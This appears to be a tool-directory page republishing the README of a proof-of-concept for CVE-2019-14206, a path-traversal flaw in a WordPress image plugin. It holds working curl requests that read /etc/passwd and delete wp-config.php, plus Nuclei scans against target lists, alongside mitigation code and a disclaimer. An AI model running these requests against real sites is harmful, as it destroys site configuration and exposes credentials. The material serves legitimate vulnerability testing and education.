Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2019-14206-poc | Kitploit
Tools/GitHubGitHub/developerfred/cve-2019-14206-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

View Repository
7 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-14206 - Adaptive Images for WordPress Arbitrary File Deletion

📋 Index

  1. About the Vulnerability
  2. Prerequisites
  3. Installation
  4. Testing Methods
    • Quick Test
    • Full Test with Docker
    • Test with Nuclei
    • Manual Test
  5. Interpreting Results
  6. Cleanup
  7. Troubleshooting
  8. Mitigation
  9. Legal Disclaimer

🎯 About the Vulnerability

CVE-ID: CVE-2019-14206
Severity: High (CVSS 6.5)
Affected Plugin: Adaptive Images for WordPress
Affected Versions: < 0.6.67

What does this vulnerability allow?

This vulnerability allows a remote unauthenticated attacker to delete arbitrary files on the WordPress server by exploiting the Adaptive Images plugin.

Real Impact:

  • ❌ Deletion of wp-config.php causing complete site outage
  • ❌ Exposure of database credentials via LFI
  • ⚠️ Attack chain leading to RCE (Remote Code Execution)
  • 🔴 Total compromise of the WordPress site

Root Cause:

root@kitploit:~
// The plugin uses user input WITHOUT sanitization
$settings = $_REQUEST['adaptive-images-settings'];

// Builds file path with attacker-controlled parameters
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// DELETES arbitrary file
unlink($cache_file);

💻 Prerequisites

Minimum Requirements:

  • Operating System: macOS, Linux or Windows
  • Nuclei: Version 3.0 or higher (Install)
  • Bash: Version 4.0 or higher
  • curl: For manual tests
  • PHP: Version 7.0+ (optional, for tests with built-in server)

Checking Prerequisites:

root@kitploit:~
# Check Nuclei
nuclei --version

# Check Bash
bash --version

# Check curl
curl --version

# Check PHP (optional)
php --version 2>/dev/null || echo "PHP not available (optional)"

🚀 Installation

Step 1: Clone or Download the Files

root@kitploit:~
# If in the nuclei-templates directory
cd /Volumes/Codingsh/experimentos/nuclei-templates

# Or download the necessary files
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

Step 2: Verify File Structure

root@kitploit:~
# Check if the files exist
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

Step 3: Make Scripts Executable

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 Testing Methods

1. Quick Test ⏱️ 2 minutes

Run the complete demo that simulates the entire exploitation:

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

What happens:

  • Creates full test environment
  • Simulates the vulnerability
  • Demonstrates file deletion
  • Validates Nuclei template

Expected output:

root@kitploit:~
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. Full Test with Docker 🐳 10 minutes

Step 1: Start Docker Environment

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# If Docker is running
docker-compose up -d

# If Docker is NOT running, use the simulator
./docker-test-full.sh

Step 2: Access WordPress

root@kitploit:~
# The environment will be available at
# http://localhost:8888

Step 3: Check Vulnerable Plugin

root@kitploit:~
# Check if the vulnerable script exists
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

Step 4: Run Tests

root@kitploit:~
# LFI Test
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# File Deletion Test
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Check if wp-config.php has been deleted
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Test with Nuclei 🎯 5 minutes

Step 1: Prepare Target List

root@kitploit:~
# Create target file
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

Step 2: Run Scan

root@kitploit:~
# Basic scan
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Detailed scan
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Debug scan (MANDATORY for bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Save results
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

Step 3: Interpret Results

root@kitploit:~
# View results
cat results.txt

# Positive results will show:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. Manual Test 🔧 10 minutes

Step 1: Start PHP Server

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

Step 2: Test LFI (File Reading)

root@kitploit:~
# Try to read /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Try to read wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

Expected result (LFI):

root@kitploit:~
=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

Step 3: Test File Deletion

root@kitploit:~
# Check if wp-config.php exists BEFORE
ls -la wp-config.php

# Run exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Check if wp-config.php has been deleted AFTER
ls -la wp-config.php

Expected result (File Deletion):

root@kitploit:~
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 Interpreting Results

Positive Result (Vulnerable):

root@kitploit:~
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

Negative Result (Not Vulnerable):

root@kitploit:~
[N/A] No results found

Possible Reasons for False Negative:

  • ✅ Plugin not installed
  • ✅ Plugin updated (version >= 0.6.67)
  • ✅ WAF blocking requests
  • ✅ Server does not respond on expected paths

🧹 Cleanup

Clean Test Environment:

root@kitploit:~
# Remove Docker environment
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# Remove test files
rm -rf docker-test/
rm -f targets.txt results.txt

# Restore wp-config.php if it was deleted
cat > wp-config.php << 'EOF'
<?php
// Restored file
define('DB_NAME', 'wordpress');
EOF

Clean Nuclei:

root@kitploit:~
# Remove scan results
rm -f results.txt

# Clear cache (optional)
nuclei -rm-cache

🔧 Troubleshooting

Issue 1: Nuclei not found

root@kitploit:~
# Install Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Or download binary
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

Issue 2: Template won't load

root@kitploit:~
# Check if file exists
ls -la http/cves/2019/CVE-2019-14206.yaml

# Check YAML syntax
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# Use absolute path
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

Issue 3: PHP server won't start

root@kitploit:~
# Check port
lsof -i :8888

# Use a different port
php -S localhost:9999

# Check PHP installed
which php
php --version

Issue 4: Docker won't run

root@kitploit:~
# Check Docker status
docker ps

# Start Docker
# On macOS: Open Docker Desktop
# On Linux: sudo systemctl start docker

# Use simulator mode (works without Docker)
./docker-test-full.sh

🛡️ Mitigation

Immediate Protection:

  1. Update Plugin:

    root@kitploit:~
    WordPress Dashboard > Plugins > Update Adaptive Images
    
  2. Safe Version: >= 0.6.67

  3. Remove Vulnerable Plugin:

    root@kitploit:~
    rm -rf wp-content/plugins/adaptive-images/
    

Code Protection (For Developers):

root@kitploit:~
// ✅ SECURE CODE (Example fix)
function adaptive_images_script_get_settings() {
    // Sanitize input
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // Validate paths
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // Reject invalid paths
    }
    
    // Use validated absolute paths
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}

⚠️ Legal Disclaimer

Terms of Use:

This material is provided exclusively for educational and security testing purposes.

What you MAY do:

  • ✅ Test on systems you own
  • ✅ Use in lab environments
  • ✅ Learn about web vulnerabilities
  • ✅ Contribute to open source security
  • ✅ Test your own applications

What you MAY NOT do:

  • ❌ Test on systems without authorization
  • ❌ Cause damage or disruption
  • ❌ Use for malicious purposes
  • ❌ Sell or distribute exploits
  • ❌ Publish information about vulnerable systems

Responsibility:

The author and contributors are NOT responsible for any:

  • Misuse of this material
  • Damage caused to systems
  • Data loss
  • Service interruptions
  • Legal issues

Responsible Disclosure:

If you find this vulnerability in real systems:

  1. DO NOT exploit or cause damage
  2. DOCUMENT the vulnerability
  3. NOTIFY the system owner
  4. FOLLOW responsible disclosure guidelines

📚 Additional Resources

References:

  • NVD - CVE-2019-14206
  • Original Research
  • Official Plugin
  • WPScan Entry

Related Tools:

  • Nuclei
  • nuclei-templates
  • WPScan
  • Wordfence

🎓 Learnings

This project demonstrates:

  1. Input Validation: The importance of sanitizing all user input
  2. Path Traversal: How file paths can be manipulated
  3. File Operations: The risks of functions like unlink() with user input
  4. Plugin Security: Common vulnerabilities in WordPress plugins
  5. CVE Analysis: How to analyze and reproduce vulnerabilities
  6. Detection Development: How to create effective detection templates

📝 Changelog

Version 1.0.0 (2026-01-04)

  • ✅ Nuclei template created
  • ✅ Complete PoC environment
  • ✅ Full documentation
  • ✅ Validated test scripts
  • ✅ Functional demo

🤝 Contribution

Contributions are welcome! To contribute:

  1. Fork the repository
  2. Create a branch (git checkout -b feature/improvement)
  3. Commit your changes (git commit -am 'Add improvement')
  4. Push to the branch (git push origin feature/improvement)
  5. Create a Pull Request

📧 Support

For questions or issues:

  1. Check the Troubleshooting section
  2. Check the repository issues
  3. Document the issue with:
    • Operating system
    • Nuclei version
    • PHP version (if applicable)
    • Full error message
    • Steps to reproduce

🎉 Thank you for using this testing material!

Remember: With great power comes great responsibility. Use this knowledge to make the internet more secure, not more vulnerable.


Created: January 4, 2026
Version: 1.0.0
Status: ✅ Ready for production use

Download Tool